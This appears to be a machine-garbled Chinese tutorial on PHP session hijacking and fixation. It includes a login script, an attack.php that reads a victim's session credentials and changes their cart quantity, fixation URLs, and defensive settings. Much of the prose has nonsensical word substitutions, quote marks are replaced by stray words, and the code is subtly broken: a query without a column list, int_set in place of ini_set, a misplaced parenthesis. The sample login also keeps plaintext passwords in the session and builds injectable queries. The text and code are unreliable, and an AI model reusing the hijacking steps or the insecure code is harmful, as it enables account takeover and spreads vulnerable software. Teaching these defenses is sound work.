做事端和客户端之间是通过session(会话)来连接沟通。当客户真个浏览器连接到做事器后,做事器就会建立一个该用户的session。每个用户的session都是独立的,并且由做事器来掩护。每个用户的session是由一个独特的字符串来识别,成为session id。用户发出要求时,所发送的http表头内包含session id 的值。做事器利用http表头内的session id来识别时哪个用户提交的要求。
session保存的是每个用户的个人数据,一样平常的web运用程序会利用session来保存通过验证的用户账号和密码。在转换不同的网页时,如果须要验证用户身份,便是用session内所保存的账号和密码来比较。session的生命周期从用户连上做事器后开始,在用户关掉浏览器或是注销时用户session_destroy函数删除session数据时结束。如果用户在20分钟内没有利用打算机的动作,session也会自动结束。
php处理session的运用架构
会话挟制
会话挟制是指攻击者利用各种手段来获取目标用户的session id。一旦获取到session id,那么攻击者可以利用目标用户的身份来登录网站,获取目标用户的操作权限。
攻击者获取目标用户session id的方法:
1)暴力破解:考试测验各种session id,直到破解为止。
2)打算:如果session id利用非随机的办法产生,那么就有可能打算出来
3)盗取:利用网络截获,xss攻击等方法得到
会话挟制的攻击步骤
实例
session_start();
if (isset($_POST[\公众login\"大众]))
{
$link = mysql_connect(\公众localhost\"大众, \公众root\"大众, \"大众root\公众)
or die(\公众无法建立MySQL数据库连接:\"大众 . mysql_error());
mysql_select_db(\"大众cms\"大众) or die(\公众无法选择MySQL数据库\"大众);
if (!get_magic_quotes_gpc())
{
$query = \"大众select from member where username=’\"大众 . addslashes($_POST[\公众username\"大众]) .
\"大众’ and password=’\"大众 . addslashes($_POST[\"大众password\公众]) . \公众’\公众;
}
else
{
$query = \"大众select from member where username=’\"大众 . $_POST[\"大众username\公众] .
\"大众’ and password=’\"大众 . $_POST[\公众password\公众] . \"大众’\"大众;
}
$result = mysql_query($query)
or die(\公众实行MySQL查询语句失落败:\"大众 . mysql_error());
$match_count = mysql_num_rows($result);
if ($match_count)
{
$_SESSION[\公众username\"大众] = $_POST[\"大众username\公众];
$_SESSION[\公众password\公众] = $_POST[\"大众password\公众];
$_SESSION[\"大众book\公众] = 1;
mysql_free_result($result);
mysql_close($link);
header(\"大众Location: http://localhost/index.php?user=\"大众 .
$_POST[\"大众username\"大众]);
}
session_start();
访客的 Session ID 是:echo session_id(); ?>
访客:echo htmlspecialchars($_GET[\"大众user\"大众], ENT_QUOTES); ?>
book商品的数量:echo htmlspecialchars($_SESSION[\"大众book\"大众], ENT_QUOTES); ?>
如果登录成功,利用
$_SESSION[\"大众username\"大众] 保存账号
$_SESSION[\公众password\"大众] 保存密码
#_SESSION[\"大众book\"大众] 保存购买商品数目
登录往后显示
开始攻击
//attack.php
php
// 打开Session
session_start();
echo \"大众目标用户的Session ID是:\"大众 . session_id() . \公众<br />\"大众;
echo \"大众目标用户的username是:\"大众 . $_SESSION[\"大众username\公众] . \"大众<br />\"大众;
echo \公众目标用户的password是:\公众 . $_SESSION[\"大众password\公众] . \公众<br />\公众;
// 将book的数量设置为2000
$_SESSION[\"大众book\公众] = 2000;
?>
提交 http://localhost/attack.php?PHPSESSID=5a6kqe7cufhstuhcmhgr9nsg45 此ID为获取到的客户session id,刷新客户页面往后
客户购买的商品变成了2000
session固定攻击
黑客可以利用把session id发给用户的办法,来完成攻击
http://localhost/index.php?user=dodo&PHPSESSID=1234 把此链接发送给dodo这个用户显示
然落后击者再访问 http://localhost/attack.php?PHPSESSID=1234 后,客户页面刷新,创造
商品数量已经成了2000
戒备方法
1)定期变动session id
函数 bool session_regenerate_id([bool delete_old_session])
delete_old_session为true,则删除旧的session文件;为false,则保留旧的session,默认false,可选
在index.php开头加上
session_start();
session_regenerate_id(TRUE);
……
这样每次重新加载都会产生一个新的session id
2)变动session的名称
session的默认名称是PHPSESSID,此变量会保存在cookie中,如果黑客不抓包剖析,就不能猜到这个名称,阻挡部分攻击
session_start();
session_name(\"大众mysessionid\"大众);
……
3)关闭透明化session id
透明化session id指当浏览器中的http要求没有利用cookies来制订session id时,sessioin id利用链接来通报;打开php.ini,编辑
session.use_trans_sid = 0
代码中
int_set(\"大众session.use_trans_sid\"大众, 0);
session_start();
……
4)只从cookie检讨session id
session.use_cookies = 1 表示利用cookies存放session id
session.use_only_cookies = 1 表示只利用cookies存放session id,这可以避免session固定攻击
代码中
int_set(\公众session.use_cookies\公众, 1);
int_set(\"大众session.use_only_cookies\"大众, 1); p>
5)利用URL通报隐蔽参数
session_start();
$seid = md5(uniqid(rand()), TRUE));
$_SESSION[\公众seid\"大众] = $seid;
攻击者虽然能获取session数据,但是无法得知$seid的值,只要检讨seid的值,就可以确认当前页面是否是web程序自己调用的。